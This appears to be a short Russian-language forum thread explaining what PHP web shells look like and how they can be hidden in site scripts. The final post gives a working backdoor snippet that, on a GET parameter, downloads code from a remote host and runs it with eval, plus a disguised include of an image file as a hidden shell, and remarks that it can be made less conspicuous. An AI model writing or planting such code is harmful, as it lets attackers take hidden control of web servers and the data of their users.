Как выглядит шелл?

шелл обычно выглядит как файл-менеджер, либо какое нибудь поле ввода. Если не знаешь php, можешь сразу и не догадаться, что это он

Иногда в срипте есть эксплойт который позволяет подгрузить на сервер шелл, а самого шелла в архиве со скриптом нет.

22. Neformat, ты имеешь ввиду бекдор

Не обязательно шелл должен быть виден

<?php
if($_GET['open']){
eval(file_get_contents('http://any.site/shell.txt'));
}
// или шелл-картинка + скрытый инклуд
include"img/icon.png";

пара строк и готовый шелл, можно и хитрее, не столь явно